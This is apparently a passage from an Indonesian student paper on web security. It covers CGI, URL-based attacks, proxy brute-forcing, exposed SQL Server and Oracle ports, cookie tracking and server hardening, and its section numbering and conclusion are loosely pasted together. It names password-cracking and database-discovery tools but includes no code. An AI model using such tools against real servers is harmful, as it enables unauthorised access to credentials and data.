Meskipun secara prinsip mekanisme CGI tidak memiliki lubang keamanan, program atau skrip yang dibuat sebagai CGI dapat memiliki lubang keamanan (baik secara sengaja dibuat lubang keamanannya ataupun tidak sengaja). Pasalnya, program CGI ini dijalankan di server web sehingga menggunakan resources web server tersebut.

2.8 Serangan Lewat URL
URL merupakan sebuah mekanisme untuk mengenali sumbersumber pada web, SSL, atau server FTP, termasuk protokol layer aplikasi yang membuat request ke server Web seperti contoh URL http://www.coba.com/images/hardware/pda.html. URL tersebut dapat dijelaskan per bagian. File pda.html sedang di-request oleh protokol HTTP dari sebuah server bernama www.coba.com. Lokasi pda.html dalam ruang situs tersebut adalah pada direktori
/images/hardware. Contoh lainnya seperti: https://www.coba.com/order/buy.asp?item=A003&pmt=visaKemungkinan besar URL di atas dapat dimanfaatkan hacker. Dugaan pertama bisa ditarik dari nama sumbernya, buy.asp.Ekstensi .asp menandakan bahwa file ini adalah ASP. File-file ASP berjalan secara khusus pada web server Microsoft, yaitu IIS. Dengan demikian kemungkinan besar www.coba.com berjalan pada Windows NT/2000/XP. Biasanya sistem seperti ini menggunakan Backoffice database
                                             
2.9 Kesalahan pada Mesin Proxy
Penyerang bisa saja memanfaatkan kelamahan pada mesin proxy. Oleh karena penyerang tidak dapat menembus pertahanan server utama maka penyerang mengatur cara untuk mendapatkan akses ke proxy server yang juga meng-host salinan dari halaman erb yang asli, memeodifikasi halaman web pada staging area (wilayah tempat penyusunan dan persiapan) menyebabkan suatu situs bias dirusak dan diganti-ganti isinya melalui replikasi otomatis. Titik entri yang pertama dan terlemah untuk memasuki jaringan adalah melalui port proxy HTTP. Port ini biasanya digunakan untuk melewatkan request proxy HTTP pada proxy server ke dalam jaringan walaupun situs web yang di-host pada server diproteksi oleh suatu mekanisme autentikasi password HTTP, namun penyerang dapat mencoba-coba dengan cara bruce force attack untuk mendapatkan user name dan password. Maka dari itu, administrator harus mematikan percobaan memasukkan password yang salah, misalkan sebanyak tiga kali secara terus-menerus. Ada banyak tool untuk men-crack password secara remote diantaranya adalah brutus, WebCracker, dan lain-lain.

2.9.1 Akses Database
Database telah lama menjadi bagian integrasi dalam menjalankan bisnis. Keperluan atas penyimpanan dan pengakesan informasi secara cepat menjadi hal yang mendesak bagi tiap bisnis saat ini. Aplikasi-aplikasi web saat ini berpasangan erat dengan database yang digunakan untuk beragam kegunaan, mulai dari menyimpan nama-nama user dan password untuk akses resmi, sampai untuk menyimpan alamat-alamat surat user dan informasi kartu kredit untuk mempermudah pembayaran. Maka dari itu pemahamam keamanan bukan hanya meliputi jaringannya saja, tapi juga akses databasenya dan yang terpenting memahami bagaimana penyerang memasuki aplikasi untuk memperoleh akses ke bagianbagian datanya. Microsoft SQL Server dan Oracle dapat diakses secara default pada jaringan internal, dengan kata lain jika konfigurasi firewall tidak dikonfigurasi dengan baik maka akan membuka kesempatan penyerang untuk masuk ke koneksi database. Terbukanya TCP dan UDP 1434 (Microsoft SQLServer) atau TCP 1521 (Oracle) dapat menjadi jalan untuk memata-matai databasekita. Sebagai tool-nya, dapat digunakan Fscan dan Foundstone,SQLPing2. Tool-tool ini memungkinkan penyerang untukmengetahui alamat IP mesin SQL.

Jika si penyerang mempunyai kemampuan menerobos databasemaka tidaklah susah bagi penyerang tersebut untuk masuk ke server SQL dan melakukan perubahan, penghapusan, dan lainlain. Keamanan database merupankan satu dari sekian banyak metodologi yang sering diabaikan dan tidak dikembangkan. Untuk melengkapi dan memperketat kebijaksanaan atas keamanan database.

2.9.2 Keamanan Client WWW
Pada bagian terdahulu dibahas masalah yang berhubungan dengan server WWW. Dalam bagian ini akan dibahas masalah-masalah yang berhubungan dengan keamanan client WWW, yaitu pemakai (pengunjung) biasa. Keamanan di sisi client biasanya berhubungan dengan masalah privasi dan penyisipan virus atau Trojan. Pelanggaran Privasi. Ketika kita mengunjungi sebuah situs web, browser kita dapat „dititipi‰sebuah cookie yang fungsinya adalah untuk menandai kita. Ketika kita berkunjung ke server itu kembali, server dapat mengetahui bahwa kita kembali dan server dapat memberikan layanan sesuai dengan keinginan (preference) kita. Ini merupakan servis yang baik, namun data-data yang sama juga dapat digunakan untuk melakukan tracking kemana saja kita pergi. Ada juga situs web yang mengirimkan script (missal Javascript) yang melakukan interogasi terhadap server kita (melalui browser) dan mengirimkan informasi ini ke server.

2.2.3 Web Server Security
World Wide Web merupakan sistem pertukaran informasi melalui Internet. Web dibangun melalui sebuah program yang dinamakan web server. Saat ini WWW telah merambah ke seluruh sendi kehidupan, termasuk bisnis, pemerintahan, pendidikan, keagamaan, sosial, dan budaya. Agar informasi yang kita buat dalam sebuah halaman web dapat dilihat pengguna Internet maka dibutuhkan suatu mesin web server yang akan melayani permintaan dari user yang mengaksesnya. Seperti yang telah digambarkan di awal bab ini, ada beberapa web server yang digunakan seperti Apache dan IIS. Saat ini Apache merupakan pilihan yang paling banyak digunakan untuk server yang berbasis UNIX/LINUX walaupun Apache juga dapat dijalankan di Windows. Dengan dukungan open source maka penyebaran Apache semakin cepat dari tahun ke tahun.
Server-server web dirancang untuk menerima beragam request dari host bebas di Internet dan menjadi pintu gerbang publik atau personal. Untuk membangun sebuah secure server dalam berbagai platform harus diperhatikan beberapa hal penting, misalnya user tidak pernah mengeksekusi sembarang program atau perintah shell dalam server dan script CGI yang berjalan dalam server.
Ada beberapa hal penting dalam menjaga dan membangun web server yang aman, di antaranya adalah:
.. Mengerti tentang pembagian akses UID (User ID)
.. Mengerti struktur direktori server
.. Membuat script dan program CGI secara aman
.. Mengembangkan strategi password
.. Mencatat semua aktivitas yang terjadi
.. Waspadai kegiatan browser user
.. Perhatikan HTTP dan Anonymous FTP
.. Nonaktifkan service-service (daemon) yang tidak penting
.. Perhatikan port-port yang terbuka

2.9.4 Tindakan-Tindakan Antisipasi
Setelah membicarakan secara garis besar kemungkinan yang dilakukan hacker untuk menyusup ke server kita, pengidentifikasian teknologi memainkan peran penting dalam dunia hacking web karena hacker bisa memilih senjata yang cocok untuk menyerang.


BAB III
PENUTUP
3.1 Kesimpulan
Masalah keamanan merupakan salah satu aspek penting dari sebuah sistem informasi,sayang sekali masalah keamanan ini seringkali kurang mendapatperhatian dari para pemilik dan pengelola sistem informasi.Jatuhnya informasi ke tangan pihak lain (misalnya pihak lawan bisnis) dapat menimbulkan kerugian bagi pemilik informasi. Keamanan server WWW biasanya merupakan masalah dari seorang administrator. Dengan memasang server WWW di system Anda, Anda membuka akses (meskipun secara terbatas) pada orang luar. Apabila server Anda terhubung ke Internet dan memang server WWW Anda disiapkan untuk publik, Web Server dan database server bagaikan jantung dan otak dari organisme Internet. Dua komponen ini menjadi komponen pokok dari sebuah aplikasi Internet yang tangguh dan tepatlah keduanya menjadi target hacker. Ada banyak bahasa web yang populer di dunia Internet seperti HTML, DHTML, XML, XHTML, Perl, PHP, ASP, Cold Fusion, dan lain-lain.
            Common Gateway Interface (CGI) digunakan untukmenghubungkan sistem WWW dengan software lain di server web. Adanya CGI memungkinkan hubungan interaktif antara user dan server web. CGI seringkali digunakan sebagai mekanisme untuk mendapatkan informasi dari user melalui fill out form, mengakses database, atau menghasilkan halaman yang dinamis. Penyerang bisa saja memanfaatkan kelamahan pada mesin proxy. Oleh karena penyerang tidak dapat menembus pertahanan server utama maka penyerang mengatur cara untuk mendapatkan akses ke proxy server yang juga meng-host salinan dari halaman erb yang asli.
 Database telah lama menjadi bagian integrasi dalam menjalankan bisnis. Keperluan atas penyimpanan dan pengakesan informasi secara cepat menjadi hal yang mendesak bagi tiap bisnis saat ini. World Wide Web merupakan sistem pertukaran informasi melalui Internet. Web dibangun melalui sebuah program yang dinamakan web server. Saat ini WWW telah merambah ke seluruh sendi kehidupan, termasuk bisnis, pemerintahan, pendidikan, keagamaan, sosial, dan budaya.